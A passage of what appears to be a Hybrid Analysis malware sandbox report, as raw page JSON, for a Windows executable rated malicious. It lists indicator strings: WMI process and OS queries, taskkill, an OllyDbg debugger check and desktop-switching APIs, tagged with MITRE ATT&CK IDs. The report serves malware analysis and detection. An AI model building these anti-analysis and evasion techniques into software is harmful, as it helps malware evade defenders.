wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\n Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='\" (Indicator: \"wmi.exe\"; in Source: \"sample.bin\"), Found string \"\" /namespace:\"\\\\root\\cimv2\" OS get Caption,Version,BuildNumber /value\" (Indicator: \"root\\cimv2\"; in Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-30","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"Found string \"taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-45","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"ollydbg\" (Indicator: \"ollydbg\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-5","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"sample.bin\"), Found reference to API \"CreateDesktop\" (Indicator: \"CreateDesktop\"; Source: \"sample.bin\")","origin":"sample.bin","id":"string-541","sources":[{"report_type":"qsp","report_id":""}]}],"intel_graph":{"map":{"File:f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8":{"type":"File","value":"f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","verdict":{"verdict":"suspicious","verdict_source":"static file analysis engine","reasons":["Associated with known suspicious activity"]},"filetype":"PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 4 sections","filetype_short":"PE32"}},"chains":[{"id":"1568897975014430681","root":"File:f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","edges":[],"verdict":{"verdict":"suspicious","verdict_source":"static file analysis engine","reasons":["Associated with known suspicious activity"]}}]}},"activity":{"stats":{"process_count":0,"spawned_processes_count":0,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":0,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":null,"processes":null,"all_imported_dlls":null},"file_activity":{"dropped_files":[],"extracted_files":[],"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{}}}]]}] 2c:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample f404eea5934f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample f404eea5934f…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 12/24 AV engines flagged this file. 2 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample f404eea5934f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample f404eea5934f…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 12/24 AV engines flagged this file. 2 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample f404eea5934f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample f404eea5934f…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 12/24 AV engines flagged this file. 2 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L42","11",{}]] 32:null